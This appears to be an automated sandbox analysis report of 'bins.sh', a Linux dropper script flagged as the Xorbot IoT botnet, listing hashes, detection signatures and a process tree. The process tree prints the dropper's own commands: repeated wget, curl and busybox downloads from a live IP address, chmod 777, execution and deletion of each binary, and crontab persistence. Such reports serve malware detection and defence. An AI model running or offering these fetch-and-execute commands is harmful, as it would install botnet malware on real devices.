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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/01/2025, 16:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    425b72445548772800314e4626751427

  • SHA1

    a784b4eed1e5f709e264ee26485eb3d97f5bba1e

  • SHA256

    b0cbfbdaa29a12ec2f0e20f5895b9f2abe38b50f1fabc26a6c2fc4893c63e632

  • SHA512

    d083cb8181ba1296383fda54d64d552ac1d15bd6f4a12aa1e5ebe85aad50791853ae86e07c618e0586356671429ab717b145321b66214873aaed7ea439ea064d

  • SSDEEP

    96:Lhr+G+59nX1ls6Wf6NxZ9vEERz33aCEHYQYLXD4CCk5NxtZxZ9vEEYC01ls6Wf6R:Lhr+G+59n3xZ9vEEBVZ9vEE/+G+591

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1512
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1513
        • /usr/bin/wget
          wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:1519
        • /bin/chmod
          chmod 777 s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          ./s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Executes dropped EXE
          PID:1521
        • /bin/rm
          rm s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
            PID:1523
          • /usr/bin/wget
            wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /bin/chmod
            chmod 777 oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • File and Directory Permissions Modification
            PID:1527
          • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            ./oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Executes dropped EXE
            PID:1528
          • /bin/rm
            rm oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
              PID:1530
            • /usr/bin/wget
              wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:1531
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /bin/chmod
              chmod 777 cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • File and Directory Permissions Modification
              PID:1534
            • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              ./cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Executes dropped EXE
              PID:1535
            • /bin/rm
              rm cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
                PID:1537
              • /usr/bin/wget
                wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:1538
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:1539
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /bin/chmod
                chmod 777 APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • File and Directory Permissions Modification
                PID:1541
              • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                ./APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Executes dropped EXE
                PID:1542
              • /bin/rm
                rm APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                  PID:1544
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  2⤵
                  • Writes file to tmp directory
                  PID:1545
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  2⤵
                  • Writes file to tmp directory
                  PID:1546
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  2⤵
                  • Writes file to tmp directory
                  PID:1547
                • /bin/chmod
                  chmod 777 wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1548
                • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  ./wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1549
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1551
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1552
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1553
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1554
                      • /bin/rm
                        rm wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                          PID:1556
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                          2⤵
                            PID:1559

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /var/spool/cron/crontabs/tmp.x0RPR2

                          Filesize

                          210B

                          MD5

                          a885ca4e6d3c3672ec1d1be9d151e8b7

                          SHA1

                          539bcebff78b16c4b84ed74e04fa400ad2009311

                          SHA256

                          8b525e61650fc8bcf7c6d6377b8ebb6a3ee4f3f46b856a001b2f9c2140cd9fe0

                          SHA512

                          78c6277ad50bba84bfcd8c22c8de64d8a81920648e984f7811d4efb60f672e11da15c6491bf0491b2784bc011955dc8aaca3826f490d494478b6c56cf7bfdc0d